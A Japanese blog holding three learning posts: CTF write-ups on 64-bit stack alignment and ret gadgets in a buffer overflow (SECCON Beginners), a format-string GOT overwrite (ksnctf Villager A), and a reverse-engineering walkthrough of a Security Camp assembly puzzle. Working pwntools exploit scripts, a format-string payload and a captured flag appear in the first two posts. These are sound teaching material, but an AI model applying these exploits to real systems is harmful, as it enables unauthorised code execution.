いい感じに生きる

低レイヤとMCUとMr.childrenを愛しています。

Pwnにおけるスタックのアライメント(2020/05/29)

CTF

(2022/1/17)Qiitaからhatenaに移行しました。

Beginner's Stack

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd3416a8f0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffd3416a8f8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd3416a900 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffd3416a908 | 0x00007f1ce972d190 |
                   +--------------------+
0x00007ffd3416a910 | 0x00007ffd3416a920 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd3416a918 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd3416a920 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
                   +--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
                   +--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
                   +--------------------+

Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd3416a8f0 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffd3416a8f8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a900 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a908 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a910 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd3416a918 | 0x4141414141414141 | <-- return address (vuln)
                   +--------------------+
0x00007ffd3416a920 | 0x000000000000000a | <-- saved rbp (main)
                   +--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
                   +--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
                   +--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
                   +--------------------+

Segmentation fault (コアダンプ)

典型的なスタックオーバーフローです。冒頭に書かれているように、0x400861にあるwin関数を呼び出せればflagが得られます。入力前後のスタックの状態が図示されており、"vuln"のリターンアドレスが意味のない場所に参照されるとSegmentation faultで落ちます。なので、ダミー40文字+"win"のアドレスを入力することで"vuln"のリターンアドレスを書き換えます。しかし実行すると

$ python2 -c 'print "A" * 40 + "\x61\x08\x40\x00\x00\x00\x00\x00"' | ./chall 

〜中略〜

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と言われます。RSPがずれているそうです。ここで必要なのがアラインメントです。

スタックのアラインメント

x86-64 モード用の呼び出し規約では，浮動小数点数の受け渡しは XMM0 などのレジスタを用います． メモリと XMM0 系のレジスタ間で値を転送する命令（MOVAPS や MOVAPD など）は，メモリ上の値が 16 バイト境界に配置されていることを要求します． コンパイラは，関数呼び出し時のスタックポインタが 16 バイト整列されていることを前提に，MOVAPS や MOVPAD 命令を発行します． また，他の関数を呼び出すときには必ずスタックポインタが 16 バイト整列するように調整する責任があります． 参照:https://uchan.hateblo.jp/entry/2018/02/16/232029

つまり何が言いたいかというと、コンパイラは関数を呼び出すときにスタックポインタが16(0x10)の倍数のアドレスに調整されているため、Pwnにおいてスタックを書き換えるときも同様に調節する必要があるということです。MOVAPS命令はsystem関数等の動作に影響するため、このままではシェルが起動できません。参照しているuchanさんのブログの"スタックのアライメントの実例"に詳しく書かれています。

ここではBeginner's StackにおけるRSPのアラインを考えていきます。

0000000000400861 <win>:
  400861:   55                      push   rbp
  400862:   48 89 e5                mov    rbp,rsp
  400865:   48 83 ec 10             sub    rsp,0x10
  400869:   48 89 e0                mov    rax,rsp

これはwin関数の頭の部分の処理です。rbpがpushされた後にsub rsp,0x10されています。(※図のアドレスは適当です) stack alignment1.png

本来callによってwin関数のリターンアドレスが積まれるはずが、retで呼ばれているため積まれず、rspが8byteずれていることがわかります。これの回避の仕方は以下の2通りです。(※図のアドレスは適当です)

ret gadgetを使う

1つは、適当なret gadgetを挟む方法です。ret gadgetを使ってそろえます。 まずret gadgetを探します。

gdb-peda$ ropgadget 
ret = 0x400626
popret = 0x400728
addesp_8 = 0x400623

0x400626にret gadgetがあることがわかりました。retq命令はrspのメモリアドレスの値をripに格納し、rspをインクリメントします。

400626:   c3                      retq

stack alignment2.png exploitコードは以下です。

from pwn import * 

context(os="linux" , arch="i386")

conn = remote('bs.quals.beginners.seccon.jp',9001)

payload  = ""
payload += "A" * 40
payload += p64(0x400626)
payload += p64(0x400861)

conn.sendline(payload)
conn.interactive()

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$

push rbpを飛ばす

2つめはpush rbpの後に飛ばす方法です。0x400861のpush rbpを飛ばすことでリターンアドレス分の8byteをそろえることができます。 stack alignment3.png

push rbpの次からなので、0x400862をリターンアドレスにします。このときはret gadgetはいりません。exploitコードは以下です。

from pwn import * 

context(os="linux" , arch="i386")

conn = remote('bs.quals.beginners.seccon.jp',9001)

payload  = ""
payload += "A" * 40
payload += p64(0x400862)

conn.sendline(payload)
conn.interactive()

こちらでも同様にflagがとれました。

Format String AttackによるGOT overwrite(2020/05/02)

CTF

(2022/1/17)Qiitaからhatenaに移行しました。

GOTとは

GOT(Global Offset Table)とは、共有ライブラリのシンボルが参照されている領域です。ELFではPLT(Procedure Linkage Table)からGOTにジャンプし、共有ライブラリを参照しています。ライブラリ関数を管理している領域みたいなイメージだと思います。

参照 https://tkmr.hatenablog.com/entry/2017/02/28/030528 https://qiita.com/saikoro-steak/items/f9bf534f8fc5f2be3b0e

format string attackによるGOT overwrite

ここでは、ksnctfのVillager A(村人A)を使って説明していきます。 https://ksnctf.sweetduet.info/problem/4

format string attack

Villager Aで与えられる実行ファイルはformat string attackの脆弱性があります。 format string attack(書式文字列攻撃)とは、printf()、sprintf()などの関数が持つ脆弱性で、ユーザーが入力した文字列がそのまま出力される場合に可能となります。

char str[128];
fgets(str, 128, stdin);
printf(str);

このような場合に、フォーマット指定子である%p、%xなどを入力することでスタックのデータを読み出すことができる脆弱性です。Villager Aでは以下のような結果になります。

[q4@localhost ~]$ ./q4
What's your name?
AAAA,%p,%p,%p,%p,%p,%p,%p
Hi, AAAA,0x400,0x3b18c0,0x8,0x14,0x907fc4,0x41414141,0x2c70252c

"0x400"以降はスタックの値が読み出されています。ここで、ユーザーが入力した文字列が6番目の0x41414141(AAAA)、7番目の0x2c70252c(,%p,)に読み出されていることがわかりますね。この脆弱性を使い、GOT overwriteを行うことで、メモリアドレスの書き換えを行います。

攻撃の下調べ

村人Aの実行ファイル'q4'は、fopen関数がflag.txtを実行してflagを得る構造になっていますが、callされる直前にjne命令によって回避されています。よって、fopen関数を呼び出せるようにメモリアドレスを書き換えれば、flagをゲットできるということになります。 今回は、puts関数を使ってexploitします。putcharなどの関数でも可能です。

080485b4 <main>:
 80485b4:   55                      push   ebp
 80485b5:   89 e5                   mov    ebp,esp
 80485b7:   83 e4 f0                and    esp,0xfffffff0
 80485ba:   81 ec 20 04 00 00       sub    esp,0x420
 80485c0:   c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:   89 04 24                mov    DWORD PTR [esp],eax
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:   89 04 24                mov    DWORD PTR [esp],eax
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:   00 
 8048637:   8d 44 24 18             lea    eax,[esp+0x18]
 804863b:   89 04 24                mov    DWORD PTR [esp],eax
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   eax,eax
 8048645:   0f 94 c0                sete   al
 8048648:   84 c0                   test   al,al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    eax,0x0
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:   08 
 804865e:   8d 44 24 18             lea    eax,[esp+0x18]
 8048662:   89 04 24                mov    DWORD PTR [esp],eax
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   eax,eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    eax,0x0
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:   85 c0                   test   eax,eax
 804868a:   0f 95 c0                setne  al
 804868d:   84 c0                   test   al,al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:   00 
 80486bf:   8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:   89 04 24                mov    DWORD PTR [esp],eax
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:   89 04 24                mov    DWORD PTR [esp],eax
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    eax,0x0
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop
080484c4 <puts@plt>:
 80484c4:   ff 25 f4 99 04 08       jmp    DWORD PTR ds:0x80499f4
 80484ca:   68 30 00 00 00          push   0x30
 80484cf:   e9 80 ff ff ff          jmp    8048454 <_init+0x30>

GOT領域のアドレスは、objdumpなどの逆アセンブラでも確認できますが、readelfコマンドでも同様に調べることができます。

[q4@localhost ~]$ readelf -r q4

Relocation section '.rel.dyn' at offset 0x3cc contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080499cc  00000106 R_386_GLOB_DAT    00000000   __gmon_start__
08049a04  00000b05 R_386_COPY        08049a04   stdin

Relocation section '.rel.plt' at offset 0x3dc contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080499dc  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
080499e0  00000307 R_386_JUMP_SLOT   00000000   putchar
080499e4  00000407 R_386_JUMP_SLOT   00000000   fgets
080499e8  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main
080499ec  00000607 R_386_JUMP_SLOT   00000000   fopen
080499f0  00000707 R_386_JUMP_SLOT   00000000   printf
080499f4  00000807 R_386_JUMP_SLOT   00000000   puts
080499f8  00000c07 R_386_JUMP_SLOT   080484d4   __gxx_personality_v0
080499fc  00000907 R_386_JUMP_SLOT   00000000   strcmp

puts関数のアドレスが0x80499f4に書き込まれることがわかります。よって0x80499f4をfopen関数の処理が始まる0x8048691に書き換えればよいということになります。

Exploit

メモリの書き込みには、%n系と呼ばれるフォーマット指定子を使います。この指定子は、指定したスタックに出力バイト数を書き込んでくれます。指定子の間に数字と$を入れることで、char型で何番目のスタックに書き込むか指定することができます(%5$nなど)。%n系には以下のような種類があります。

フォーマット指定子 　書き込みバイト数
%n 4
%hn 2
%hhn 1 
[q4@localhost ~]$ echo 'AAAA%6$hhn' | ./q4

この場合、スタックの6番目に0x41414141(AAAA)が格納され、0x41414141番地にAAAAの出力バイト数"4"が格納されます。つまり、'AAAA'の部分に書き込むアドレスと格納したい値をうまく調節してprinf関数に出力させれば、処理を自由に操れるということです。

今回は、先述したように0x80499f4(puts関数が書き込まれるGOT領域のアドレス)を0x8048691(fopen関数の処理が始まるアドレス)に書き換えます。結論から言うと、以下のような文字列になります。

[q4@localhost ~]$ echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

考え方

GOT overwrite by format string attack .png

文字列の冒頭(図の赤字)の部分では、書き込み先の番地を書き込んでいます。この実行ファイルは32bitのELFのため、書き込み先の番地に格納するアドレスは32bitとなります。なので、書き込み先の番地は0x80499f4〜0x80499f7に1byteずつ格納していきます。それぞれの番地と値は以下のようになります(図参照)。このときリトルエンディアンに注意してください。

書き込み先の番地 格納する値
0x80499f4 0x91
0x80499f5 0x86
0x80499f6 0x04
0x80499f7 0x08

続いて、それぞれの番地に格納したい値を調節して出力させていきます。調節には、%cという指定したバイト数だけ出力してくれるフォーマット指定子を使います。

はじめに、0x80499f4番地に0x91(145)を格納します。赤字の部分で既に16byte出力されているので、145(0x91の10進数)から16を引いた129byte分を%cで補います。ユーザーが出力した文字列が6番目のスタックから読み出されるため、%129c%6$hhnとなります。

次に0x80499f5番地に0x86(134)を格納しますが、ここで注意が必要です。既に145byte出力しているのに対して、それより下の値を書き込まなければなりません。この場合、256byte(0x100)をまたぐことで問題が解消されます。%hhnは1byteずつ書き込む指定子のため、値の下位8bit(下2桁)しか書き込みません。256をまたぐことで16進数の桁が上がり、下2桁が00から始まるため、格納したい値が既に出力した値よりも低い場合でも、256を一区切りとして調節すればいいことになります。 以上を踏まえると、256から145を引いた値に134を足すことで、0x186となり下位2桁の0x86を書き込めます。よって%245c%7$hhnとなります。 あとの2つも同様に計算することで(図参照)GOT領域のアドレスに任意の値を格納することができます。

以上がformat string attackによるGOT overwriteの説明でした。

まとめ

村人Aを解いたのは半年以上前ですが、なぜ256を超えなければいけなのか当時1週間くらい理解できなかったのを覚えています。これはハリネズミ本にも書かれている入門テクニックなのでPwnを始めたばかりの私にとってはきちんと理解しておくべき内容でした。

@k-onishi さんのhttps://qiita.com/k-onishi/items/9cf7fc49107e6ff61115 にもほぼ同じ内容で詳しく書かれているので、こちらの記事もおすすめです。

お疲れ様でした。

セキュリティキャンプ応募課題で学ぶアセンブリ言語(2020/02/12)

Assembly

(2022/1/17)Qiitaからhatenaに移行しました。

はじめに

この記事はアセンブリ言語に慣れることを目的としているため、かなり遠回りな解き方になっています。

セキュリティ・キャンプ2019 A【脆弱性・マルウェア解析トラック】問6

問題

以下にDebian 9.8（amd64）上で動作するプログラムflatteningのmain関数の逆アセンブル結果(1)とmain関数で使われているデータ領域のダンプ結果(2)があります。 このプログラムは、コマンドライン引数としてある特定の文字列を指定されたときのみ実行結果が0となり、それ以外の場合は実行結果が1となります。 この実行結果が0となる特定の文字列を探し、その文字列を得るまでに考えたことや試したこと、使ったツール、抱いた感想等について詳細に報告してください。

(*1)"objdump -d -Mintel flattening"の出力結果のうち、main関数の箇所を抜粋しました。

0000000000000530 <main>:
 530:   48 8d 15 7d 03 00 00    lea    rdx,[rip+0x37d]        # 8b4 <_IO_stdin_used+0x4>
 537:   c7 44 24 f4 00 00 00    mov    DWORD PTR [rsp-0xc],0x0
 53e:   00 
 53f:   49 ba 9e fa 95 ef 92    movabs r10,0xedd5a792ef95fa9e
 546:   a7 d5 ed 
 549:   41 b9 cc ff ff ff       mov    r9d,0xffffffcc
 54f:   90                      nop
 550:   8b 44 24 f4             mov    eax,DWORD PTR [rsp-0xc]
 554:   83 f8 0d                cmp    eax,0xd
 557:   77 23                   ja     57c <main+0x4c>
 559:   48 63 04 82             movsxd rax,DWORD PTR [rdx+rax*4]
 55d:   48 01 d0                add    rax,rdx
 560:   ff e0                   jmp    rax
 562:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
 568:   c7 44 24 f4 09 00 00    mov    DWORD PTR [rsp-0xc],0x9
 56f:   00 
 570:   8b 44 24 f4             mov    eax,DWORD PTR [rsp-0xc]
 574:   83 c1 01                add    ecx,0x1
 577:   83 f8 0d                cmp    eax,0xd
 57a:   76 dd                   jbe    559 <main+0x29>
 57c:   b8 01 00 00 00          mov    eax,0x1
 581:   c3                      ret    
 582:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
 588:   48 63 c1                movsxd rax,ecx
 58b:   c7 44 24 f4 0c 00 00    mov    DWORD PTR [rsp-0xc],0xc
 592:   00 
 593:   44 0f b6 44 04 f8       movzx  r8d,BYTE PTR [rsp+rax*1-0x8]
 599:   eb b5                   jmp    550 <main+0x20>
 59b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]
 5a0:   48 63 c1                movsxd rax,ecx
 5a3:   45 8d 1c 08             lea    r11d,[r8+rcx*1]
 5a7:   c7 44 24 f4 0b 00 00    mov    DWORD PTR [rsp-0xc],0xb
 5ae:   00 
 5af:   44 30 5c 04 f8          xor    BYTE PTR [rsp+rax*1-0x8],r11b
 5b4:   eb 9a                   jmp    550 <main+0x20>
 5b6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 5bd:   00 00 00 
 5c0:   83 f9 07                cmp    ecx,0x7
 5c3:   0f 86 18 01 00 00       jbe    6e1 <main+0x1b1>
 5c9:   c7 44 24 f4 0d 00 00    mov    DWORD PTR [rsp-0xc],0xd
 5d0:   00 
 5d1:   e9 7a ff ff ff          jmp    550 <main+0x20>
 5d6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 5dd:   00 00 00 
 5e0:   c7 44 24 f4 09 00 00    mov    DWORD PTR [rsp-0xc],0x9
 5e7:   00 
 5e8:   31 c9                   xor    ecx,ecx
 5ea:   e9 61 ff ff ff          jmp    550 <main+0x20>
 5ef:   90                      nop
 5f0:   c7 44 24 f4 08 00 00    mov    DWORD PTR [rsp-0xc],0x8
 5f7:   00 
 5f8:   45 89 c8                mov    r8d,r9d
 5fb:   e9 50 ff ff ff          jmp    550 <main+0x20>
 600:   83 f9 08                cmp    ecx,0x8
 603:   0f 85 73 ff ff ff       jne    57c <main+0x4c>
 609:   c7 44 24 f4 07 00 00    mov    DWORD PTR [rsp-0xc],0x7
 610:   00 
 611:   e9 3a ff ff ff          jmp    550 <main+0x20>
 616:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 61d:   00 00 00 
 620:   83 c1 01                add    ecx,0x1
 623:   c7 44 24 f4 02 00 00    mov    DWORD PTR [rsp-0xc],0x2
 62a:   00 
 62b:   e9 20 ff ff ff          jmp    550 <main+0x20>
 630:   48 63 c1                movsxd rax,ecx
 633:   80 7c 04 f8 00          cmp    BYTE PTR [rsp+rax*1-0x8],0x0
 638:   0f 85 96 00 00 00       jne    6d4 <main+0x1a4>
 63e:   c7 44 24 f4 06 00 00    mov    DWORD PTR [rsp-0xc],0x6
 645:   00 
 646:   e9 05 ff ff ff          jmp    550 <main+0x20>
 64b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]
 650:   4c 8b 5e 08             mov    r11,QWORD PTR [rsi+0x8]
 654:   48 63 c1                movsxd rax,ecx
 657:   c7 44 24 f4 04 00 00    mov    DWORD PTR [rsp-0xc],0x4
 65e:   00 
 65f:   45 0f b6 1c 03          movzx  r11d,BYTE PTR [r11+rax*1]
 664:   44 88 5c 04 f8          mov    BYTE PTR [rsp+rax*1-0x8],r11b
 669:   e9 e2 fe ff ff          jmp    550 <main+0x20>
 66e:   66 90                   xchg   ax,ax
 670:   83 f9 07                cmp    ecx,0x7
 673:   77 c9                   ja     63e <main+0x10e>
 675:   c7 44 24 f4 03 00 00    mov    DWORD PTR [rsp-0xc],0x3
 67c:   00 
 67d:   e9 ce fe ff ff          jmp    550 <main+0x20>
 682:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
 688:   c7 44 24 f4 02 00 00    mov    DWORD PTR [rsp-0xc],0x2
 68f:   00 
 690:   31 c9                   xor    ecx,ecx
 692:   e9 b9 fe ff ff          jmp    550 <main+0x20>
 697:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
 69e:   00 00 
 6a0:   83 ff 02                cmp    edi,0x2
 6a3:   0f 85 d3 fe ff ff       jne    57c <main+0x4c>
 6a9:   c7 44 24 f4 01 00 00    mov    DWORD PTR [rsp-0xc],0x1
 6b0:   00 
 6b1:   e9 9a fe ff ff          jmp    550 <main+0x20>
 6b6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 6bd:   00 00 00 
 6c0:   4c 39 54 24 f8          cmp    QWORD PTR [rsp-0x8],r10
 6c5:   74 27                   je     6ee <main+0x1be>
 6c7:   c7 44 24 f4 0e 00 00    mov    DWORD PTR [rsp-0xc],0xe
 6ce:   00 
 6cf:   e9 7c fe ff ff          jmp    550 <main+0x20>
 6d4:   c7 44 24 f4 05 00 00    mov    DWORD PTR [rsp-0xc],0x5
 6db:   00 
 6dc:   e9 6f fe ff ff          jmp    550 <main+0x20>
 6e1:   c7 44 24 f4 0a 00 00    mov    DWORD PTR [rsp-0xc],0xa
 6e8:   00 
 6e9:   e9 62 fe ff ff          jmp    550 <main+0x20>
 6ee:   31 c0                   xor    eax,eax
 6f0:   c3                      ret    
 6f1:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 6f8:   00 00 00 
 6fb:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

(*2)"objdump -s flattening"の出力結果のうち、セクション .rodata の内容を抜粋しました。

セクション .rodata の内容:
 08b0 01000200 ecfdffff d4fdffff bcfdffff  ................
 08c0 9cfdffff 7cfdffff 6cfdffff 4cfdffff  ....|...l...L...
 08d0 3cfdffff 2cfdffff 0cfdffff ecfcffff  <...,...........
 08e0 d4fcffff b4fcffff 0cfeffff           ............

とりあえず眺める

ぱっと眺めてみて気がついたことは、

  • call命令がない(main関数のみで処理が完結している)
  • そこら中にjmp 550がある(ループしそう？)
  • 560にjmp raxがある(アドレスではなくレジスタの値が参照されている、謎)
  • 08b0,08c0,80d0,08e0のそれぞれ0~eまでのメモリダンプ
  • 1行目530のコメントアウトはメモリダンプと関係してそう(8b4)
  • 581と6f0にret命令

これくらいでした。 あまりにもjmp 550が多いことから、このプログラムは550からの処理にすべての愛を捧げていると判断したので、まずは550から読んでいきます。

550からの処理

まずeaxにDWORD PTR[rsp-0xc]の値を代入し、eaxと0xdをcmpで比較しています。537でDWORD PTR[rsp-0xc]に0x0を代入していることから、初回の処理のeaxの値は0x0であるとわかります。その後557でja命令、つまりeax>0xdとなった場合に57cへジャンプします。 ※57cからの処理は次のプロットで記述します。

  • ja命令について この問題はjaのような条件付きジャンプ命令が頻出するので、曖昧な方は復習するといいかもしれません。よかったらこちらの記事をどうぞ。

  • DWORD PTRについて DWORDは4byteとしてデータを扱うことを意味しています。ptrはデータの型を指定する演算子です。他にもWORD,QWORDなどが出てきます、下の表を参考にしてみてください。

Name Byte Bit
BYTE 1 8
WORD 2 16
DWORD 4 32
QWORD 8 64

57cへジャンプしなかった場合(eax<0xdだった場合)、559でDWORD PTR[rdx+rax*4]の値を64bitに拡張(movsxd)してraxに代入します。その後rdx+raxをraxに格納し、560でraxに格納されているアドレスへジャンプします。よってraxはループの度に値が変わり、それをもとに560で様々なアドレスへjmpしていると考えられます。

ret命令(57cからの処理)

57cからの処理を見てみましょう。57cではeaxに0x1が代入され、581でretされています。eaxは一般的に関数の返り値として使われるレジスタなので、57cに飛んでしまうと返り値が1、つまり問題文の「それ以外の実行結果」になってしまいます。よって、57cにジャンプしないためにはeax<0xdである必要がある、すなわちeaxに0xe,0xfの値を代入しては行けないということがわかります。(16進数におけるdより大きな数はeとf)

もう1つのret命令を見ていきます。6f0の直前の6eeではxor eax,eax、すなわちeaxに0が格納されています。私は最初なぜ0が格納されるのか理解できなかったので、メモしておきます。

xor命令について xor命令は論理演算といわれる命令の１つで、排他的論理和と言います。 xor A,Bのとき 2つのデータが等しい(真)であれば0,等しくなければ1を格納します。 xor eax,eaxの場合AとBは等しいので、eaxに0が格納されます。 詳しくはこちらをどうぞ

先程説明した通りeaxは関数の返り値であるとすると、6eeにジャンプできればゴールが見えますね。6eeにジャンプするような命令を探すと、6c5に1つだけ該当するものがあります。

 6c0:   4c 39 54 24 f8          cmp    QWORD PTR [rsp-0x8],r10
 6c5:   74 27                   je     6ee <main+0x1be>

QWORD PTR [rsp-0x8]とr10の値が等しければ6eeにジャンプできることがわかります。

raxを求める

この問題ではこのraxの演算が肝なので、ここでしっかり触れておきます。もう一度raxの部分の処理を見てみましょう。

 559:   48 63 04 82             movsxd rax,DWORD PTR [rdx+rax*4]
 55d:   48 01 d0                add    rax,rdx
 560:   ff e0                   jmp    rax

559でDWORD PTR[rdx+rax*4]の値を64bitに拡張(movsxd)してraxに代入しますが、rdxが初見ですね。どこかでrdxに対する処理があるはずなので、これより上の処理を見てみましょう。すると、一行目に[rip+0x37d]の値がrdxに格納されていることがわかります。

530: 48 8d 15 7d 03 00 00    lea    rdx,[rip+0x37d]  # 8b4 <_IO_stdin_used+0x4>

ここで、コメントアウトされている8b4ってrip+0x37dなんじゃね？と悟ります。試しに0x8b4-0x37d=ripを求めると0x537(530の次の行のアドレス)になるため、rip+0x37d=0x8b4=rdxとして話を進めます。本当は同じ挙動プログラムを作りデバックするなりして検証するのが一番良いと思われます。冒頭の気づきにも書いたように、メモリダンプを見てみると、0x8b4が参照するデータは0xecだということがわかります。しかしここで1つ疑問が浮かびます。

このときrdxには0x8b4と0xec、どちらが格納されるのでしょうか？

答えは0x8b4です

私はここでつまづいたので、備忘録のためにも詳しく書いておきます。

lea命令とmov命令の違い 端的に表すと、 - leaは演算結果のアドレスをそのまま格納 - movは演算結果のアドレスが参照するデータを格納 つまり、leaはメモリアクセスを行わず、movはメモリアクセスを行う命令だということです。 ややこしいですが、慣れるしかありませんね。詳しくはこちらをどうぞ

ということで、rdxが0x8b4だということがわかりました。話を559の処理に戻します。 次にraxの値ですが、先述したようにDWORDは4byte(32bit)のデータとして扱うことを意味しているので、raxの下位4byte(32bit)、つまりeaxの値を扱うことになります。537,550の処理を踏まえるとeaxは0であることがわかりますね。

register.png この図の通りです。ソースはこちら

ということで559の処理はrdx = 0x8b4, rax = 0となるのでDWORD PTR [0x8b4+0*4] = 0x8b4となります。しかし、ここでraxに格納されるのは0x8b4ではありません。上記の通り、movはメモリアクセスを行うので0x8b4が参照するメモリダンプのデータを4byte分(DWORD)格納することになります。つまり0x8b4,0x8b5,0x8b6,0x8b7が指すデータなので、rax=0xfffdecとなります。(リトルエンディアンに注意！)

そして、55dで0xfffdec+0x8b4=0x6a0=raxとなり、jmp先は6a0となります。 6a0からの処理はediと0x2を比較し、値が等しくない場合に57cへジャンプするようになっています。この比較命令はコマンドライン引数の個数が1つであることを示していますが、その検証は今回は省きます。ジャンプしなかった場合はDWORD PTR [rsp-0xc]に0x1が代入され、550にjmpします。

ここで、 mov DWORD PTR [rsp-0xc],0x0 の処理が0x0から0xeまでjmp 550間に1つ行われていることに気が付きました。

550でDWORD PTR [rsp-0xc]の値はeaxに代入され、554のcmpでeax>0xdとなると57cに飛ばされてしまいます。よって、6c7にはジャンプしてはいけないということがわかりました。

6c7:   c7 44 24 f4 0e 00 00    mov    DWORD PTR [rsp-0xc],0xe

jmp! jmp! jmp!

そしてここから、 550からの処理でraxを求める(rdxは固定値) ↓ jmp raxでアドレスにジャンプ ↓ 飛んだ先で処理をしてjmp 550で帰ってくる を繰り返していきます。以下はこの一連の動作を1回とし、計14回(eax=0x0~0xd)のループ(アドレスと処理)についてまとめたものです。 DWORD PTR [rdx+rax*4](以下D)の値,jmp raxの値,eaxの値,jmp先の処理 という形式とします。

1: 8b4,6a0,0x0 edi≠0x2のとき57cへジャンプ(返り値1) edi=0x2のときeax=0x1

2: 8b8,688,0x1 eax=0x2 ecx=0(xor ecx,ecx)

3: 8bc,670,0x2 ecx>0x7のとき63eへジャンプ。それ以外のときはeax=0x3 ※63eの処理 eax=0x6

